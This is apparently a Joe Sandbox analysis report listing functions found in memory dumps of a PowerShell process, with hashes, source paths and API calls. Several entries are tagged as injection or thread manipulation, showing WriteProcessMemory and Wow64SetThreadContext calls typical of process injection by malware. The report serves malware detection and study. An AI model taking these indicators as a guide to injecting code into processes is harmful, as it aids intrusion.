Snapshot File: hcaresult_5_2_7a30000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 6bec50a2a58fa0c87a9de7ee6090bb16bcc91ec61b58e18894d8d26499bd0bd3
Instruction ID: 32a1704535eba4b415264ee4cf3397d8cc40b0626df7eba82a6209e52e137a1b
Opcode Fuzzy Hash: 6bec50a2a58fa0c87a9de7ee6090bb16bcc91ec61b58e18894d8d26499bd0bd3
Instruction Fuzzy Hash: 82214BB59003599FDB10CFA9C8857EEBBF5FF88320F10842AE955A7250C7789940CFA0

Function 07A30750 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 07A307E0

Memory Dump Source

Source File: 00000005.00000002.7042136031.0000000007A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7a30000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 6672e47fe216dd9474f3dd17daf5aa904667c779a6c12c23369bd6b4f1643812
Instruction ID: 986fd4dc835f24dbf7e37ff89c5faa92c0997bd238ec33051593ac9eda955e76
Opcode Fuzzy Hash: 6672e47fe216dd9474f3dd17daf5aa904667c779a6c12c23369bd6b4f1643812
Instruction Fuzzy Hash: 082127B59003499FDB10CFA9C885BEEBBF5FF88310F14842AE959A7240C7789944CFA4

Function 07A1FD60 Relevance: 1.6, APIs: 1, Instructions: 66threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07A1FDE6

Memory Dump Source

Source File: 00000005.00000002.7041936015.0000000007A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7a10000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 5db56942e19c8985f145052dd09ffa0db98602c21a743a4e82228b7f4569e007
Instruction ID: fb22ca3848372384dae979c15a40c66e38722fdae701cab554537b7aa2175586
Opcode Fuzzy Hash: 5db56942e19c8985f145052dd09ffa0db98602c21a743a4e82228b7f4569e007
Instruction Fuzzy Hash: 272139B19003498FDB10DFAAC4857EEBBF4EF88224F14842AD459A7241DB78A945CFA5

Function 07A1FD68 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07A1FDE6

Memory Dump Source

Source File: 00000005.00000002.7041936015.0000000007A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7a10000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 352f30766b3dbcb5aafadd44fa200a6f0d85663cce9df178231c09787f95d592
Instruction ID: 1612748c5221a3e4405dd2317ae3554edc981be2fed2e8b387defac8b87ea53f
Opcode Fuzzy Hash: 352f30766b3dbcb5aafadd44fa200a6f0d85663cce9df178231c09787f95d592
Instruction Fuzzy Hash: 942129B1D003498FDB10DFAAC4857EEBBF4EF88224F54842ED459A7240DB78A945CFA4

Function 09C36898 Relevance: 1.6, APIs: 1, Instructions: 61injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 09C36925

Memory Dump Source

Source File: 00000005.00000002.7073384115.0000000009C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 09C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9c30000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 23dc64c606fcf11ff90b3a76f297d586f937cadbf16df8e29252de64a2180b1e
Instruction ID: 106bc6bf76996bb8954da96a2bdf9f1f3bf35810d1f3e17e44e263d0b24f5a2a
Opcode Fuzzy Hash: 23dc64c606fcf11ff90b3a76f297d586f937cadbf16df8e29252de64a2180b1e
Instruction Fuzzy Hash: EE21E2B59003489FCF10CF9AD885BDEBBF4FB48310F50852AE919A7240D374A944CBA4

Function 079DF169 Relevance: 1.6, APIs: 1, Instructions: 56fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNEL32(?,?,?,?,?), ref: 079DF1DE

Memory Dump Source

Source File: 00000005.00000002.7041468415.00000000079D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79d0000_powershell.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 077f3d256c44ab6c3eb1b4960776073a545f60c5e607eaab15b6c23a0e845dcc
Instruction ID: 53c31491bf01b7ba4d528b6fa0b8290ff8a6ad026bef8e0404abf29a72216035
Opcode Fuzzy Hash: 077f3d256c44ab6c3eb1b4960776073a545f60c5e607eaab15b6c23a0e845dcc
Instruction Fuzzy Hash: 12116DB69003499FDB10CFA9D8457EEBFF5EF48324F14841AD565A7210C775A940CFA0

Function 079DF170 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNEL32(?,?,?,?,?), ref: 079DF1DE

Memory Dump Source

Source File: 00000005.00000002.7041468415.00000000079D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79d0000_powershell.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: c0936671872aa1c7aaac24cc1866e61557be8c982f5ddd98d5e7be8ffa13ff56
Instruction ID: 7aca64e3e7e0ab56c938a533589363469301c80291e65774ead628ac8bae04ad
Opcode Fuzzy Hash: c0936671872aa1c7aaac24cc1866e61557be8c982f5ddd98d5e7be8ffa13ff56
Instruction Fuzzy Hash: 43113AB29003499FDB10DFAAC8857DEBFF5EF88324F14881AD515A7250C775A940CFA0

Function 079F3368 Relevance: 1.5, Strings: 1, Instructions: 266COMMON

Download Yara Rule

Strings

c$, xrefs: 079F364B, 079F3650

Memory Dump Source

Source File: 00000005.00000002.7041704593.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID: c$
API String ID: 0-2531412009
Opcode ID: ec2e458b027a0146f4c2c66ca882525c826409cd4fac99c283bf8f6f0399f500
Instruction ID: 9674b3b02c20bec431f6355d94f052fb5879cb751a0601a2203447eafd668a70
Opcode Fuzzy Hash: ec2e458b027a0146f4c2c66ca882525c826409cd4fac99c283bf8f6f0399f500
Instruction Fuzzy Hash: 4CA1BDF4B012059FCB05DFA9DA45AADBBF2EF88319F1185AAE5019B390CB39DD01CB50

Function 079F2C70 Relevance: 1.4, Strings: 1, Instructions: 154COMMON

Download Yara Rule

Strings

(kr, xrefs: 079F2CE4

Memory Dump Source

Source File: 00000005.00000002.7041704593.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID: (kr
API String ID: 0-1076684549
Opcode ID: ce7a8c643d2f619460ca90f6a999189168d5cf0788efac16b62c92caabdbdde0
Instruction ID: 70390c6eeea3a607e61ab4762fc141d978367aeb167510c51a46652d8f618394
Opcode Fuzzy Hash: ce7a8c643d2f619460ca90f6a999189168d5cf0788efac16b62c92caabdbdde0
Instruction Fuzzy Hash: 5B51B172A006168FCB10CF58C484B6EFBB5FF85314F158696DA199B281D734F851CBD0

Function 079F672F Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

p<gr, xrefs: 079F677A

Memory Dump Source

Source File: 00000005.00000002.7041704593.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID: p<gr
API String ID: 0-4089286148
Opcode ID: 11800703b14150311a7caafefa4d9063ba0f21c494628a4598c04992d5b5ff3e
Instruction ID: 7486640939349a5e6f4dd180e2938463b7a0489deb8edfca1a9a00748844f90f
Opcode Fuzzy Hash: 11800703b14150311a7caafefa4d9063ba0f21c494628a4598c04992d5b5ff3e
Instruction Fuzzy Hash: 3431A1B63043459FDB06CF29D844EAA7BF9EF89255B1940A6FA45CB371DA31DC41CB20

Function 07036B1F Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

(ogr, xrefs: 07036C01

Memory Dump Source

Source File: 00000005.00000002.7033994845.0000000007030000.00000040.00000800.00020000.00000000.sdmp, Offset: 07030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7030000_powershell.jbxd

Similarity

API ID:
String ID: (ogr
API String ID: 0-2482911648
Opcode ID: 9d3cc536f9ab97be02a0657d3c7ed28c2d2e5cedd852b2d0127a6b003055e299
Instruction ID: fc1c8e9cf7467025666ad1221f14a07878c920c9a5c0f931c08afe56b6c813bf
Opcode Fuzzy Hash: 9d3cc536f9ab97be02a0657d3c7ed28c2d2e5cedd852b2d0127a6b003055e299
Instruction Fuzzy Hash: 91317EB0A1020AEFDBA4CF59C944BBA77F9FF45341F04826AE4298B290C772D880CF51

Function 07978A10 Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

Z, xrefs: 07978A63

Memory Dump Source

Source File: 00000005.00000002.7040934772.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7970000_powershell.jbxd

Similarity

API ID:
String ID: Z
API String ID: 0-1505515367
Opcode ID: 4f63f92c88fac52c89ea8e540bbae2433af98ac3287d57ec48987dda40eec776
Instruction ID: ac62b4bb435ff4b9951e34be74fab7df2e9ae777b128f6d38456baccb406fd34
Opcode Fuzzy Hash: 4f63f92c88fac52c89ea8e540bbae2433af98ac3287d57ec48987dda40eec776
Instruction Fuzzy Hash: A9F0D4B4E12229DFEB69DF64E984B99B7B4FB05305F0095EAD00DA2244CBB45BC5CF41

Function 076D7A03 Relevance: .6, Instructions: 574COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7038546098.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1ccc6e1acf529fd4b718ef5bcd7eb59903de0226eb5cf2ea2f67c39131bb8b3
Instruction ID: ad1ce8cbaed2cba2a856c4e9323daa92466aa17f126be0d0accc709940cf12fa
Opcode Fuzzy Hash: b1ccc6e1acf529fd4b718ef5bcd7eb59903de0226eb5cf2ea2f67c39131bb8b3
Instruction Fuzzy Hash: 80423BB4B10214DFD724CB64C940F69B7A2EF86314F54C5A9D80AAB352C771ED86CF92

Function 0703440E Relevance: .5, Instructions: 503COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7033994845.0000000007030000.00000040.00000800.00020000.00000000.sdmp, Offset: 07030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7030000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a498cf7e4e6163184d05da8fc8dc1f8fc40df969a84f5ab79de92530eb75e467
Instruction ID: f318e911f94ffe1b387ffd8629ac66afe62bbc95e3507b454a5797ddc21628b6
Opcode Fuzzy Hash: a498cf7e4e6163184d05da8fc8dc1f8fc40df969a84f5ab79de92530eb75e467
Instruction Fuzzy Hash: 87324BB4A00214DFD764CB54C980BA9F7B6EF89300F54C6E9E919AB341CB71AD86CF91

Function 02E9F808 Relevance: .4, Instructions: 414COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7001864957.0000000002E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2e90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cc2e972ed32081fec1725ddcd1e86b557354968e6c12c8182360b89ccbbeb88
Instruction ID: a5dd03b96626b9f14d50d27671bd87e3a068913100dc0f0d3e85c95c6d26dff4
Opcode Fuzzy Hash: 9cc2e972ed32081fec1725ddcd1e86b557354968e6c12c8182360b89ccbbeb88
Instruction Fuzzy Hash: F4E1807284E3D19FDB039B7888651D57FB0AF57214B1A94E7C0C4CF6B7E168880AC7A6

Function 02E92AB0 Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7001864957.0000000002E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2e90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b56de61bf968d9391efbd5b838967281fc9aac87f327949f7361ddd3dd90227
Instruction ID: de8d45bb26c3f06ce272f217c973a8281fb0965f88977711c8e39e4358ab5ded
Opcode Fuzzy Hash: 2b56de61bf968d9391efbd5b838967281fc9aac87f327949f7361ddd3dd90227
Instruction Fuzzy Hash: BBD1CF74A046099FCB05CF5CC894AEAFBB1FF49314F2581AAD919AB3A5C335EC51CB90

Function 0864E0B0 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7044731609.0000000008640000.00000040.00000800.00020000.00000000.sdmp, Offset: 08640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_8640000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36f9598c4c3d5ae970878162227e876fc1f1312477a4dcdc12bb6569eec21fe0
Instruction ID: eeb53c0a07f1ed5b6895f60a9758c292bf27796466de5c22e4ed86799ca2469c
Opcode Fuzzy Hash: 36f9598c4c3d5ae970878162227e876fc1f1312477a4dcdc12bb6569eec21fe0
Instruction Fuzzy Hash: F5A1A274E002099FDB14CFA9D980ADEBBF2FF88315F24846AE819A7365D731A951CF50

Function 0703644D Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7033994845.0000000007030000.00000040.00000800.00020000.00000000.sdmp, Offset: 07030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7030000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a8ee4cc4846396385739febf47c75d30873a4b7926e7b5e7c8bf29f17f1b3ed
Instruction ID: c2eccc95f27f3b3ee0083a8a93b19c460a5c2b3ad77a7fc44d6fe209c2b487a0
Opcode Fuzzy Hash: 7a8ee4cc4846396385739febf47c75d30873a4b7926e7b5e7c8bf29f17f1b3ed
Instruction Fuzzy Hash: 4C41C2B1B00204AFDB44DF58D650A6E77E6AFD5300F618169E815AF394CE72DC01CBE2

Function 07977150 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7040934772.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43b2e58f6eba93e10f3f7b3e54060c7ad19a8de2bfc819f60a9299ebaef17341
Instruction ID: fb9a1cd21aeda9dc044678c3b6278b49617216f637df57eecfe4acea44e00db4
Opcode Fuzzy Hash: 43b2e58f6eba93e10f3f7b3e54060c7ad19a8de2bfc819f60a9299ebaef17341
Instruction Fuzzy Hash: 6A51B3B0E01208DFDB18CFA9D584A9DBBB2FF89304F20852AE815AB365DB715945CF50

Function 07977141 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7040934772.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74df73d3f284080a96b7f2f552c8a0a24b4fcc5ec3cb39bb30708ee525715fe7
Instruction ID: 6f2f386aca8e535e1319029bc8233bc4942f1f3235ed7537948a48cac1710f4b
Opcode Fuzzy Hash: 74df73d3f284080a96b7f2f552c8a0a24b4fcc5ec3cb39bb30708ee525715fe7
Instruction Fuzzy Hash: A941E3B0E01208DFDB18CFA9D5846DDBBB2BF88315F20856AE819AB365DB315942CF50

Function 02E92CA8 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7001864957.0000000002E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2e90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c047ec23506abc0b2eaafd792f62402829471c3b6393423b8d40e70b974c279f
Instruction ID: eef51826ae191a0428be4fb2e970be5fe20f08aa42a272d0d872a5a80e1bd6f7
Opcode Fuzzy Hash: c047ec23506abc0b2eaafd792f62402829471c3b6393423b8d40e70b974c279f
Instruction Fuzzy Hash: C5413874A406099FCB05CF59C594AEEFBB1FF49314B15819ACA05AB365C732FC90CBA4

Function 07036488 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7033994845.0000000007030000.00000040.00000800.00020000.00000000.sdmp, Offset: 07030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7030000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96c793f133f5dc9f9e03cc2dc0af867354f0a3daadd67b184c056c67f4c5d0a9
Instruction ID: 06c6b39faf1ed85bd32b9c2d2fcd0b613130bcb60b784dc1d088c9e929b82c88
Opcode Fuzzy Hash: 96c793f133f5dc9f9e03cc2dc0af867354f0a3daadd67b184c056c67f4c5d0a9
Instruction Fuzzy Hash: FC4182B1B00104AFDB44CF58D640A5E77E6EF99214F61C16AE8159F394CA71ED01CBE2

Function 079F4270 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7041704593.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f72f5b03da5cde377aec217ea774d2f8977a700fd38ce8bf31eabd04436a53df
Instruction ID: 41097afa2b865911ad129bfb30142972679fd54ce0f07c32e01a0c08c6df0364
Opcode Fuzzy Hash: f72f5b03da5cde377aec217ea774d2f8977a700fd38ce8bf31eabd04436a53df
Instruction Fuzzy Hash: 2A4106B4A412288FEB24DB24C991F9DB7B1BB89314F1141D5EA09AB3A1C675DD81CF90

Function 0797F3D8 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7040934772.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc1112dab67eae7b923dac541534fda360c85868025eeaea8b4823619c8d6964
Instruction ID: 65dff112043938a041d08389bbcee29c990d98ea899bb059a9d9107a2b2349df
Opcode Fuzzy Hash: dc1112dab67eae7b923dac541534fda360c85868025eeaea8b4823619c8d6964
Instruction Fuzzy Hash: 5F3135B4E14209CFDB44CFA9D489AEEBBF6FB88308F108469D409A7344DBB45946CF50

Function 07004F48 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7033499224.0000000007000000.00000040.00000800.00020000.00000000.sdmp, Offset: 07000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7000000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ad090d7cc66936ac43a991ab0267d828770e110250a64b4b5f5fcef8378880f
Instruction ID: 874b0730a0925ec1be92942fd4fe58950e173eb0e495bf8ba5040d0cbab989cd
Opcode Fuzzy Hash: 8ad090d7cc66936ac43a991ab0267d828770e110250a64b4b5f5fcef8378880f
Instruction Fuzzy Hash: 32318DB0D04249DFE741DFA8C0887AEBBF2FB46300F5082A9E415A7285DB784A41CF91

Function 079F5940 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7041704593.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06897ad76b28cb429be3791973b8fe11273ac1dc62d484b46dac02ad0b34eb11
Instruction ID: 6989f0d5e32509ab6e2540d95a012cad27d2d7a1e707fea175ebc4f79ebe73c1
Opcode Fuzzy Hash: 06897ad76b28cb429be3791973b8fe11273ac1dc62d484b46dac02ad0b34eb11
Instruction Fuzzy Hash: 0C21AFB1E1021ADFDB08DF78C504BAEBBF4AF04368F518066D615D7290E734CAA0CB91

Function 07004F58 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7033499224.0000000007000000.00000040.00000800.00020000.00000000.sdmp, Offset: 07000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7000000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f12e0403d2be02955d755c5354cb4602539d976cdbdd018eb1236d536aa2251
Instruction ID: b4ce31a98a28db8340b23ef3e37a9a014e54464fc56470a56461f98af9eb77a1
Opcode Fuzzy Hash: 2f12e0403d2be02955d755c5354cb4602539d976cdbdd018eb1236d536aa2251
Instruction Fuzzy Hash: 7C315EB0D05249DFEB40DFA8C0887AEBBF2FB49314F5082A9E519A7384DB744A41CF95

Function 02DBD0E4 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7001054493.0000000002DBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2dbd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ccce4486e300404139248fa5b048f76ba52b1d7e36af330f464af3b972029c2
Instruction ID: 505cf5a5a1cd2eeeb1c60f0ff5c43492d2a2f6ccee5f3c4d72d0e6a0ee494e6a
Opcode Fuzzy Hash: 0ccce4486e300404139248fa5b048f76ba52b1d7e36af330f464af3b972029c2
Instruction Fuzzy Hash: 7821F5B5604340EFDB06DF14D9D0B66BBA6EF88314F24C569E80A1B305C33AD856CBB2

Function 079F2478 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7041704593.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78d10450b6a71b93012b6e4907478890f5ec68925830b0e67c5014507007af93
Instruction ID: 15bbec3ce976e5ff091bf699f55406f5de361f26852a35ec36b8381cc8fd9af4
Opcode Fuzzy Hash: 78d10450b6a71b93012b6e4907478890f5ec68925830b0e67c5014507007af93
Instruction Fuzzy Hash: F02165B5A00215DFCB168FA4C454ADE7BB6FB8D324F14822AE511A7390DB755941CF90

Function 02E9FD4F Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7001864957.0000000002E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2e90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b4d85782bdd6a982b1bc8ee44f08be3b0819cf2f1d77dba150949256a22bf76
Instruction ID: 098fdb977affb2e98a45af3f8db81f631b2a701bf38dd3c7fcd9a47503d82d70
Opcode Fuzzy Hash: 3b4d85782bdd6a982b1bc8ee44f08be3b0819cf2f1d77dba150949256a22bf76
Instruction Fuzzy Hash: 35215374D452099FDB04CFA9C5483EEBBF2EF8A306F14986AC009B3245D7B40A56CFA1

Function 02E9FD60 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7001864957.0000000002E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2e90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de155a40c90d584b5cb2da437065b55a4d0f389447f0ee48ee1e8b7f26c19bd3
Instruction ID: 6f7f56bba78e2d617522696fbaf43100648f9fc2471b9e38ab9cdded173c93a0
Opcode Fuzzy Hash: de155a40c90d584b5cb2da437065b55a4d0f389447f0ee48ee1e8b7f26c19bd3
Instruction Fuzzy Hash: 03211274D452089FDF04CFAAC5487EEBBF6EB89305F10A42AD409A3644DBB44A44CFA1

Function 07977850 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7040934772.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5d6add988084d7ef1a7dc8d2ed185d7b4f366bfed61a524e2980b819b98236d
Instruction ID: 19131025861f891d2b4476320f3694ec4966bd3eff958e49674bc5710136aca0
Opcode Fuzzy Hash: f5d6add988084d7ef1a7dc8d2ed185d7b4f366bfed61a524e2980b819b98236d
Instruction Fuzzy Hash: B32166B0E0020ADFDB04DFE9C1816AEBBB5BF88308F2085AAC455A3344D7309981CF90

Function 02E9F803 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7001864957.0000000002E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2e90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9453d16bb937a77fed711d70cbfab2e192312ffa5416db1246754fd12d51d86
Instruction ID: 4c1fba6a9484635ac9316630c7bdf1828f0f177ecc1847abb62ffc8c56351fc0
Opcode Fuzzy Hash: f9453d16bb937a77fed711d70cbfab2e192312ffa5416db1246754fd12d51d86
Instruction Fuzzy Hash: 94214A74E00516DFCB90CF89D980AAAF7F5FB88310B64856AD858E7751C731ED92CBA0

Function 0864DD40 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7044731609.0000000008640000.00000040.00000800.00020000.00000000.sdmp, Offset: 08640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_8640000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ea4c7806186b8af1f99209ca6d43083181d3f25c2a2927d096f7f88d1534763
Instruction ID: 5b2a5ca3dcf771c95806ff187ec27ad6d33d546bf16eb5a84e4d279da09ef267
Opcode Fuzzy Hash: 1ea4c7806186b8af1f99209ca6d43083181d3f25c2a2927d096f7f88d1534763
Instruction Fuzzy Hash: E92118B1D003099FDB10DFAAC884BEEFBF4EF48220F14842AD415A7210C775A955CFA4

Function 0700A048 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7033499224.0000000007000000.00000040.00000800.00020000.00000000.sdmp, Offset: 07000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7000000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95f136245a47234d1f027672a9ca13ed45dfa46d4d6089fc26666beb42ef9b9e
Instruction ID: caaa2b0be1f82ee70ed12bc8753aa89595bf5b6ddfb7d60e0935f8df10023936
Opcode Fuzzy Hash: 95f136245a47234d1f027672a9ca13ed45dfa46d4d6089fc26666beb42ef9b9e
Instruction Fuzzy Hash: CE1129B0E0420DCBEB04CFA9D4456EEBBF5FB89320F008626D515F3244D7791585CB94

Function 076D6A60 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7038546098.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40352d558e1e2dc40d9733bfc82140af5544f3f992cb57e15a951e7127920d55
Instruction ID: 7ccba8483dbd62c4b4c39b70349afaae245aaad7add7b4568f4239668d6f0cd0
Opcode Fuzzy Hash: 40352d558e1e2dc40d9733bfc82140af5544f3f992cb57e15a951e7127920d55
Instruction Fuzzy Hash: CC11C2B1E202068FCB609E78C50077AB7E6EFC5290F18807BD84687340EB31DC51CB91

Function 079F2E20 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7041704593.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

